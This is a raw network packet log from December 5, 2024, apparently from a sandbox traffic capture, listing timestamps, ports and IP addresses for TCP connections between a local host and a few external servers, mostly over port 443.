Dec 5, 2024 14:01:53.724109888 CET	443	49833	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.813262939 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.813287020 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.813390017 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.813409090 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.813538074 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.843120098 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.843859911 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.843869925 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.844260931 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.844289064 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.844393015 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.844393015 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:53.844409943 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.844419956 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:53.844465017 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.870093107 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.870117903 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.870284081 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.870300055 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.870387077 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.888149977 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.888173103 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.888232946 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:53.888247967 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:53.888319016 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.000473022 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.000524998 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.000566006 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.000579119 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.000652075 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.014669895 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.014691114 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.014755964 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.014771938 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.014971972 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.029546976 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.029565096 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.029659986 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.029675007 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.029726028 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.043848038 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.043864965 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.043965101 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.043983936 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.044050932 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.056210041 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.056226969 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.056292057 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.056301117 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.056401014 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.071552992 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.071578979 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.071646929 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.071655035 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.071717978 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.071855068 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.084070921 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.084086895 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.084182024 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.084192038 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.084275961 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.191144943 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.191169977 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.191242933 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.191261053 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.191320896 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.201579094 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.201598883 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.201672077 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.201684952 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.201734066 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.211901903 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.211920023 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.211981058 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.211994886 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.212088108 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.221859932 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.221880913 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.221935034 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.221956968 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.222003937 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.230551004 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.230567932 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.230638981 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.230655909 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.230860949 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.240727901 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.240745068 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.240816116 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.240832090 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.241012096 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.249936104 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.249963999 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.250006914 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.250016928 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.250047922 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.250070095 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.259339094 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.259355068 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.259480953 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.259495020 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.259619951 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.271179914 CET	80	49826	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:54.272557020 CET	49834	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:54.272588015 CET	443	49834	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:54.272753954 CET	49834	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:54.273051023 CET	49834	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:54.273066998 CET	443	49834	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:54.285024881 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.285052061 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.285104036 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.285121918 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.285164118 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.285439014 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.285444975 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.285474062 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.285609961 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.285641909 CET	443	49823	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.285907984 CET	49823	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.288453102 CET	49835	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.288482904 CET	443	49835	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.288580894 CET	49835	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.288775921 CET	49835	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.288790941 CET	443	49835	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.383547068 CET	49826	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:54.383774996 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.383800030 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.383857012 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.383869886 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.383909941 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.383923054 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.390506983 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.390527010 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.390616894 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.390626907 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.390701056 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.398511887 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.398531914 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.398612976 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.398629904 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.398757935 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.399827003 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.400609970 CET	49824	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.400640965 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.401604891 CET	49824	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.401611090 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.406374931 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.406393051 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.406478882 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.406486988 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.406526089 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.413817883 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.413835049 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.413901091 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.413909912 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.414040089 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.421729088 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.421746016 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.421904087 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.421912909 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.421958923 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.428613901 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.428630114 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.428689003 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.428703070 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.428730011 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.428751945 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.446943998 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.446963072 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.447171926 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.447180986 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.447309971 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.472085953 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.472174883 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.473105907 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.473114014 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.473839998 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.473845959 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.578237057 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.578263998 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.578346014 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.578361034 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.578490019 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.585128069 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.585145950 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.585223913 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.585235119 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.585350037 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.593096972 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.593115091 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.593189955 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.593199968 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.593276978 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.601725101 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.601742983 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.601804972 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.601814985 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.601845026 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.607250929 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.607266903 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.607348919 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.607361078 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.607475042 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.615173101 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.615190983 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.615255117 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.615264893 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.615300894 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.615317106 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.622265100 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.622282982 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.622350931 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.622359991 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.622412920 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.639060974 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.639079094 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.639136076 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.639146090 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.639194012 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.767872095 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.767894983 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.767976046 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.767996073 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.768054962 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.776016951 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.776035070 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.776118994 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.776127100 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.776211977 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.781483889 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.781527042 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.781552076 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.781559944 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.781588078 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.781594038 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.781609058 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.781635046 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.783103943 CET	49821	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.783118010 CET	443	49821	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.841645956 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.841676950 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.841746092 CET	49824	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.841768026 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.842775106 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.842830896 CET	49824	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.843221903 CET	49824	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.843234062 CET	443	49824	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.848582029 CET	49836	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.848632097 CET	443	49836	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.848818064 CET	49836	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.849181890 CET	49836	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.849195004 CET	443	49836	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.910073042 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.910149097 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.911289930 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.911297083 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.911663055 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.911669016 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.931452990 CET	443	49827	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.931821108 CET	49827	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.931845903 CET	443	49827	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.932411909 CET	49827	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.932421923 CET	443	49827	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.933902979 CET	443	49828	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.934233904 CET	49828	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.934257030 CET	443	49828	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.934705973 CET	49828	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:54.934712887 CET	443	49828	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:54.941884041 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.941914082 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.942048073 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.942431927 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.942446947 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.944911957 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.944992065 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.945349932 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.945354939 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.945595980 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.945600033 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.962474108 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.962496042 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.962512016 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.962551117 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.962723017 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.962729931 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.962765932 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.980662107 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.980729103 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.981012106 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.981018066 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:54.981189013 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:54.981193066 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.151413918 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.151436090 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.151504993 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.151515007 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.151566029 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.231810093 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.231831074 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.231904984 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.231918097 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.231977940 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.320138931 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.320161104 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.320234060 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.320244074 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.320281029 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.361749887 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.361768961 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.361828089 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.361838102 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.361874104 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.366179943 CET	443	49827	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.369294882 CET	443	49827	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.369326115 CET	443	49828	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.369374037 CET	49827	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.369528055 CET	443	49828	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.373552084 CET	49828	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.387255907 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.387275934 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.387363911 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.387372971 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.387587070 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.388982058 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.389008999 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.389024019 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.389067888 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.389100075 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.389110088 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:55.389159918 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:55.396281958 CET	49827	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.396292925 CET	443	49827	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.397377968 CET	49828	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.397403002 CET	443	49828	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.397414923 CET	49828	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.397422075 CET	443	49828	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.400479078 CET	49838	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:55.400513887 CET	443	49838	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:55.400811911 CET	49838	443	192.168.2.6	13.107.246.63
